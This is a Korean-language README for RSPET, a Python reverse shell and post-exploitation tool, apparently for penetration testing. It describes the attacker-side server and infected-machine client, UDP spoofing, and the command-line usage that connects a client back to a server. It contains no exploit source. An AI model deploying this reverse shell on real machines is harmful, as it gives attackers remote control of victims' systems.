
RSPET(리버스 셸 및 포스트 익스플로잇 도구)는 포스트 익스플로잇 시나리오에서 도움이 되는 기능을 갖춘 Python 기반 리버스 셸입니다.
RSPET(Reverse Shell and Post Exploitation Tool)는 Python 기반의 리버스 셸로, 사후 침투 시나리오에서 도움이 되는 기능을 갖추고 있습니다.
면책 조항: 이 소프트웨어는 교육 및 침투 테스트 목적과 개념 증명으로 제공됩니다. 개발자는 무단 컴퓨터 접근 및 네트워크 혼란을 지지, 선동 또는 어떤 방식으로든 지원하지 않습니다.
참고: min 폴더가 제거되었습니다. 두 버전을 유지 관리하는 오버헤드가 추가되면서 min이 버그 수정 및 중요한 업데이트를 받지 못하게 되었습니다. 보다 간소화된 버전을 사용하고 유지 관리하는 데 관심이 있다면, 이를 호스팅할 새 브랜치가 생성될 것입니다.
현재 버전: v0.3.1
팔로우: @TheRSPET 트위터에서 업데이트를 확인하세요.
*[1] XOR 아이디어와 클라이언트의 기본 구조는 primalsecurity.net에서 왔습니다. 이 스크립트 모음이 마음에 드신다면 그곳의 작업도 좋아하실 것입니다.
*[2] UDP 스푸핑은 RAW_SOCKETS를 사용하므로, 이를 활용하려면 클라이언트가 RAW_SOCKETS를 지원하는 OS(대부분의 Unix 기반)에서 실행되어야 하며 루트 권한이 필요합니다. 마지막으로, 대부분의 ISP는 스푸핑된 패킷을 드롭하거나 재구성하는 구현을 갖추고 있습니다.
*[3] .exe 생성에 관한 primalsecurity.net의 완벽한 블로그 게시물을 다시 확인하세요.
*[4] 플러그인 생성에 대한 자세한 문서는 온라인 문서에서 확인할 수 있습니다!
rspet_server.py는 공격자의 머신에 위치하며 연결을 수락하기 위해 실행됩니다.rspet_client.py는 감염된 머신에 위치하며 연결을 시작하고 입력을 기다립니다.프로젝트 루트 폴더에서 ./setup.py를 실행하면 필요한 인증서가 생성되고 pip를 통해 필요한 모든 구성 요소가 설치됩니다.
물론 pip2 install Flask flask-cors를 실행하여 pip 패키지를 수동으로 설치할 수도 있습니다. 또한 자신의 키-인증서 세트(이름을 server.key 및 server.crt로 지정하고 Server 폴더 안에 배치)를 생성할 수도 있습니다.
python rspet_server.py [-c #clients, --ip ipToBind, -p portToBind]
비워두면 최대 연결 수는 기본적으로 5로 설정됩니다.
RESTful API:
python rspet_server_api.py [-c #clients, --ip ipToBind, -p portToBind]
클라이언트:
python rspet_client.py <server_ip> [server_port]
개별 요구에 맞게 많은 변경이 가능합니다.
언제나 그렇듯 제안, 버그 신고 또는 불만 사항이 있으면 언제든지 연락해 주세요.
RSPET를 포함하는 배포판 목록
List_Hosts에서 클라이언트 버전과 유형(min 또는 full)을 속성으로 추가이 프로젝트는 ":" 토큰 정렬을 위한 공백 사용에 약간의 차이가 있지만 Google의 Python 스타일 가이드를 따릅니다.
이 프로젝트는 기여자를 환영합니다. 새로운 기능을 구현했거나 현재 코드를 개선했다면 자유롭게 풀 리퀘스트를 열어 주세요. 새로운 기능을 제안하고 싶다면 이슈를 열어 주세요. 또한 표준 시나리오(및 자신만의 몇 가지 시나리오)를 실행하여 새 버전에 버그가 발생할 가능성을 줄여줄 테스터가 필요합니다. 테스트에 관심이 있다면 beta 브랜치가 생성되고 (테스트할 코드가 업로드될) 함께 시나리오 목록이 제공됩니다. 기회 및 가이드에 대한 전체 가이드는 RSPET 온라인 문서의 "기여" 장을 확인하세요.
dzervas -- 코드 (서버 OO 재설계, 서버 플러그인 시스템 구현, 버그 신고, 버그 수정)
MIT
i.
.7.
.. :v
c: .x
i.::
:
..i..
#MMMMM
QM AM
9M zM
6M AM
2M 2MX#MM@1.
0M tMMMMMMMMMM;
.X#MMMM ;MMMMMMMMMMMMv
cEMMMMMMMMMU7@MMMMMMMMMMMMM@
.n@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMM@@#$BWWB#@@#$WWWQQQWWWWB#@MM.
MM ;M.
$M EM
WMO$@@@@@@@@@@@@@@@@@@@@@@@@@@@@#OMM
#M cM
QM tM
MM CMO
.MMMM oMMMt
1MO 6MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM iMM
.M1 BM VM ,Mt
1M @M .............................. WM M6
MM .A8OQWWWWWWWWWWWWWWWWWWWWWWWWWWW0Az2 #M
MM MM.
@MMY vMME
UMMMbi i8MMMt
C@MMMMMbt;;i.......i;XQMMMMMMt
;ZMMMMMMMMMMMMMMM@A;.
케이크는 거짓말입니다. 하지만 1년이 되었네요 :)